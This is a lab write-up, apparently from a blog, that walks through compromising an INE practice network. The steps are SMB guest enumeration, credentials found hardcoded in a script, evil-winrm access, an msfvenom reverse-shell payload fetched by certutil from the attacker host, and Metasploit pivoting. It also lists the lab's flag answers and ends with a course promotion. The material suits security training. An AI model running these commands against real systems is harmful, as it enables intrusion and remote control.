This wasn’t just another lab. It felt like walking into a poorly guarded building, where every unlocked door revealed something more dangerous than the last. Instead of rushing, I slowed down and treated every step like an investigation.
Press enter or click to view image in full size
Everything started with a simple question:
“What is this machine exposing that it shouldn’t?”
Press enter or click to view image in full size
One Entry Point
The first thing I checked was the local host mapping:
cat /etc/hostsThis revealed two systems inside the network:
┌──(root㉿INE)-[~]
└─# cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.1.0.22 INE
127.0.0.1 AttackDefense-Kali
10.10.44.3 INE
10.5.24.52 server.prod.local
10.5.31.20 web.prod.localAt this point, I made a mental note:
- One machine is likely the entry point
- The other is probably internal and protected
That assumption turned out to be exactly right.
Step 1 : Talking to the Server
I started with a nmap scan:
nmap server.prod.local -sV -sC -v3Instead of blindly running commands, I always ask:
What am I trying to learn here?
This scan answers three things:
- What ports are open
- What services are running
- Whether there are obvious misconfigurations
What I Found
The scan showed:
Press enter or click to view image in full size
Immediately, one service stood out:
SMB (port 445) → This is where many real-world breaches begin.
Step 2 : Checking SMB
Instead of brute forcing, I tried something simpler using smbclient:
Press enter or click to view image in full size
After discovering multiple SMB shares, I used smbmap with guest access to identify which shares allowed read or write permissions.
smbmap -H server.prod.local -u guest -p ''This checks:
- Can I access anything as a guest?
- What permissions do I have?
Why This Matters
Organizations often allow:
“Read-only access is safe”
It’s not.
Read-only access is enough to:
- Download files
- Find credentials
- Analyze scripts
What I Saw
Some shares were accessible with READ ONLY permissions.
Press enter or click to view image in full size
That was my entry point.
Step 3 : Exploring Shares Like an Attacker
Now I switched to smbclient:
smbclient //server.prod.local/UtilitiesThis tool behaves like a remote file browser.
Get The.Flying.Wolf’s stories in your inbox
Join Medium for free to get updates from this writer.
Inside, I listed files:
lsPress enter or click to view image in full size
And then downloaded:
get flag1.txtFirst Flag
e28f75f63371472280abd0fa252f871fBut something more important was hiding here.
Step 4 : The Mistake That Changed Everything
Inside the same share, I found:
get start-service.ps1Opening it revealed:
Press enter or click to view image in full size
$username = "Jack"
$password = "J@ck_567890#"This was the turning point.
Why This is Critical
Developers often:
- Store credentials in scripts
- Assume internal systems are safe
But if those scripts are exposed, attackers gain:
Instant access without exploitation
Step 5 : Turning Credentials Into Access
Now I had valid credentials.
Time to test them:
evil-winrm -i server.prod.local -u Jack -p 'J@ck_567890#'Why Evil-WinRM?
It allows:
- Remote PowerShell access
- Command execution on Windows
Within seconds, I had a shell:
Press enter or click to view image in full size
Finding the Second Flag
I navigated to the root:
cd C:\
cat flag2.txtPress enter or click to view image in full size
Second Flag
010368af98684f219d4ccbf1aded8b3dStep 6 : Looking Inside the Network
Now I was no longer an outsider.
I was inside the system.
That changes everything.
Testing Internal Access
Invoke-WebRequest http://10.5.31.20 -UseBasicParsingThis returned a default IIS page.
Press enter or click to view image in full size
That told me:
- The web server is running
- It might not be secured properly
Trying Direct Access
Instead of guessing paths, I tested:
Invoke-WebRequest http://10.5.31.20/flag3.txt -UseBasicParsingPress enter or click to view image in full size
Third Flag
26d0d9780ff241a6b8cf46ac69c78b4bWhat Happened Here?
A sensitive file was:
- Placed inside the web root
- Accessible without authentication
This is one of the most common misconfigurations in real environments.
Step 7 : Going Beyond Access (Full Compromise)
Now I wanted control over the internal system.
Creating a Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell.exeThis generates a reverse shell.
Press enter or click to view image in full size
Hosting the File
python3 -m http.server 80Press enter or click to view image in full size
Downloading on Target
certutil -urlcache -split -f http://<KALI_IP>/shell.exe shell.exePress enter or click to view image in full size
Why certutil?
Because it’s:
- Built into Windows
- Trusted
- Often not blocked
Step 8 : Catching the Connection
On Kali:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <KALI_IP>
set LPORT 4444
runOnce executed, I received a Meterpreter session.
Press enter or click to view image in full size
Step 9 : Pivoting Into Internal Network
Now came the advanced part.
Adding Route
use post/multi/manage/autoroute
set SESSION 1
runPress enter or click to view image in full size
Creating Proxy
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
runPress enter or click to view image in full size
Why This Matters
This allows:
Using the compromised machine as a bridge into internal systems
Step 10 : Accessing Internal Web Server
portfwd add -l 8081 -p 80 -r <target_ip>Press enter or click to view image in full size
Then opened:
http://127.0.0.1:8081Press enter or click to view image in full size
Step 11 : Final Flag
Inside the web interface.
Press enter or click to view image in full size
Press enter or click to view image in full size
I executed:
type C:\flag4.txtPress enter or click to view image in full size
What This Lab Really Teaches
This wasn’t about tools.
It was about thinking like an attacker.
Lessons That Matter
1. SMB is Often the Weakest Link
Even read-only access can expose everything
2. Credentials Should Never Be Stored in Scripts
This alone led to full compromise
3. Internal Access is a Game Changer
Once inside, defenses drop significantly
4. Pivoting is Essential
Real networks are not flat
5. Security Failures are Rarely Single Points
They are chains of small mistakes
Final Thought
Nothing in this lab was “complex”.
There were no zero-days.
No advanced exploits.
Just:
- Misconfigured shares
- Exposed credentials
- Poor access control
If you want to experience this kind of hands-on, real-world cybersecurity learning, it’s worth exploring what INE Security has to offer. Their certifications and live classes are designed to go beyond theory, helping you actually understand how attacks work, how defenses are built, and how professionals operate in real environments. Whether you’re starting out or sharpening advanced skills, the structured labs and expert-led sessions can significantly accelerate your growth. You can check out their programs here: https://get.ine.com/2ll83jmqlt3v